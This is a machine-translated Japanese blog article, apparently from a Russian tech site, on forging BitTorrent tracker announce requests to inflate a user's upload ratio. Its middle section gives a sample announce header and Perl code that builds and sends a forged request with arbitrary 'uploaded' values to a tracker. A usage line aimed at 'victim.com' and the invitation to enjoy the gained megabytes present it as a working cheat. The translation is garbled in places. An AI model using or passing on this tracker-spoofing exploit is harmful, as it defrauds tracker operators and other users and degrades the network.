Bittorrentプロトコルの脆弱性

記事を読む前に、この技術の基本的な用語を理解することをお勧めしますhttp://ru.wikipedia.org/wiki/BitTorrent

Perl言語の基礎知識も必要です。



現在、Bittorrentプロトコルはピークに達しています。 数百テラバイトのテラバイトが、光ファイバーの高速道路と無線チャネルで毎秒、ピアに急ぎます。 数百万のファイル(トレント)がトラッカーに表示されます。 何がこれを防ぐことができますか?



この記事では、トラッカーとbittorrentクライアントの過度なオープン性とメッセージングの容易さについて議論し、示したいと思います。 脆弱性ではないかもしれません、なぜなら サーバーとクライアントに実際の脅威はありませんが、これはネットワークの基盤を損ない、全体的な復帰速度を劇的に低下させる可能性があります。 トラッカーのユーザーのアクティビティの指標が比率であることは秘密ではありません。 少ないほど、ユーザーにより多くの制限が課せられます。 非常に低い比率は、アカウントの削除として機能します。 これは、NATを使用するネットワークで特に当てはまります。 アップロードは不十分であることが判明しました。 クライアントとサーバーのメッセージメカニズムを詳しく調べて、比率を上げてみましょう。



実際、ほとんどのBittorrentクライアントのHTTPヘッダーを解析して説明を始めたいと思います(詳細な説明については、関連するドキュメントを参照してください)。

GET announce.php?info_hash=%8bz%0d%9b%93%ac%7d%d0%90%60r%03%1b%2b%89%60p%08%96%2e&peer_id=-UT1600-%da%81%bc%ce4%9c%a0%c1k%81%a7%f9&port=6881&uploaded=35302368&downloaded=54454366434&left=177313792&key=F53CB1E7&numwant=200&compact=1&no_peer_id=1 HTTP/1.1

Host: myhost.com

User-Agent: uTorrent/1600

Accept-Encoding: gzip

Connection: Close









ご覧のとおり、すべての主要なパラメーターはクリアテキストで送信され、これを使用できます。 ヘッダーのパラメーターを置き換え(コンソールまたはGUIに関係なく、それぞれ独自の方法で変数の受信を実装できます)、それをトラッカーで以前に開いたソケットに転送し、ファイルハッシュをわかりやすいトラッカービューに変換します。

my @r = $info_hash =~ /(.{1,2})/g;

$info = join('%',@r);

$info_hash = "%" . $info;









my $request = "";

$request .= "GET /announce.php?passkey=$passkey&info_hash=$info_hash&peer_id=-UT1750-%fa%91%a4IE%22ys%fb%3cCc&port=6881&uploaded=$uploaded&downloaded=$downloaded&left=1037668352&key=E4DC5ED5&event=started&numwant=200&compact=1&no_peer_id=1 HTTP/1.1\r\n";

$request .= "Host: $host:$port\r\n";

$request .= "User-Agent: uTorrent/1750\r\n";

$request .= "Accept-Encoding: gzip\r\n";

$request .= "Connection: Close\r\n\r\n";



print $sock $request;

print $sock $request;









プロファイルを確認し、受信したメガバイトをお楽しみください:)



使用例:

perl exploit.pl <info_hash>

perl exploit.plvictim.com 80 1ea9a2766ce3323b3985fddf4a4d11fb 10551598080 0 7E4067D35AE85FF20BFB9D08DCA0E688980CEFB8



この記事は参照用にのみ書かれており、この資料を使用するとアカウントが削除される場合があります。



私はこの問題について、そしてもちろん、それを解決する方法についての意見を聞きたいです。 私はいくつかの不正防止のトリックを知っていますが、それらはあまり効果的ではないようです。



デザインポップを蹴る必要はありません Habravikiは閉鎖されています。



関連リンク:

http://www.securitylab.ru/news/301042.php

http://ru.wikipedia.org/wiki/BitTorrent



All Articles